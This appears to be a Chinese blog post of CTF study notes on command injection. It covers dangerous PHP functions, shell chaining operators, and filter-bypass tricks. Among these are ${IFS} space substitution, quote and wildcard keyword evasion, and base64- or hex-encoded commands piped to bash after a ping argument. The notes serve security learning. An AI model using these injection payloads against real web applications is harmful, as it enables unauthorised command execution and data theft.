1. 定义

  在部分WEB应用里,应用程序会提供一些命令执行操作,如没有过滤好用户输入的数据,就有可能产生命令执行漏洞 从而执行有危害系统命令。

 

2. 漏洞类型

  a.  代码审计方面的命令执行

    一般涉及的函数如下:

    ${}执行代码

    eval

    assert

    preg_replace

    create_function()

    array_map()

    call_user_func()/call_user_func_array()

    array_filter()

    usort(),uasort()

  b.  执行命令页面,需要绕过以执行命令

 

3. 命令衔接符

  ;   用;号隔开每个命令, 每个命令按照从左到右的顺序,顺序执行, 彼此之间不关心是否失败, 所有命令都会执行。

  |  上一条命令的输出,作为下一条命令参数。ctf里面:ping 127.0.0.1 | ls(只执行ls不执行前面的) 方式:command1 | command2

  &    ctf中用法 ping 127.0.0.1 & ls(先执行ls后执行ping) ,&放在启动参数后面表示设置此进程为后台进程 方式:command1 & 。默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作, 对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个'&'实现这个目的。

  && 命令之间使用 && 连接,实现逻辑与的功能。 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。 只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。

  ||    命令之间使用 || 连接,实现逻辑或的功能。 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。 这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。

 

4. 绕过技巧

  a. 绕过空格

    {cat,flag.txt}

    cat${IFS}flag.txt,此处的{IFS},可以改成(IFS)与<IFS>,都可以绕过空格,在linux中,IFS是分割符的意思,默认为空格

    cat$IFS$9flag.txt

    cat<flag.txt

    cat<>flag.txt

    kg=$'\x20flag.txt'&&cat$kg
    (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
  
  b. 关键字过滤
    第一种方法: 用单引号和反斜杠绕过 比如 cat fl’'ag,cat fl\ag,c'a't可以绕过cat过滤
    第二种方法: 字符拼接,a=ag.php;b=fl;cat$IFS$1$b$a(用来绕过flag关键词屏蔽)
    第三种方法: 通配符代替。127.0.0.1&&cat${IFS}fla?.*      通配符,?是用来匹配的,代表一个字符,*代表多个字符(当flag等关键字符被屏蔽时)
    cat过滤: 
      cat:由第一行开始显示内容,并将所有内容输出
      tac:从最后一行倒序显示内容,并将所有内容输出
      more:根据窗口大小,一页一页的现实文件内容
      less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
      head:只显示头几行
      tail:只显示最后几行
      nl:类似于cat -n,显示时输出行号
      tailf:类似于tail -f
    分割符过滤:
      linux中:%0a(横着换行)或者%0d(换竖行的url编码)  ;      &     |     &&    ||
      windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
    编码绕过: 
      base64:
        echo YWJjZGU=|base64 -d //打印出来abcde
        127.0.0.1;echo Y2F0IGZsYWcucGhw|base64 -d|bash       //cat flag.php
        127.0.0.1;echo Y2F0IGZsYWcucGhw|base64 -d|sh              //cat flag.php
        将内容进行base64解码后,输入给bash或sh执行
      hex:
        echo 63617420666c61672e706870 | xxd -r -p|bash       //cat flag.php
    重定向输出: 127.0.0.1&&ls${IFS}>>flag.txt    >>重定向,指把ls的内容重定向到指定文件,没有则创建。重定向后直接访问就好
    伪协议使用: curl file://(路径) 伪协议,和ls类似,但ls不读取文件内容
    

 

posted on 2021-08-03 11:30  EndlessShw  阅读(108)  评论(0)    收藏  举报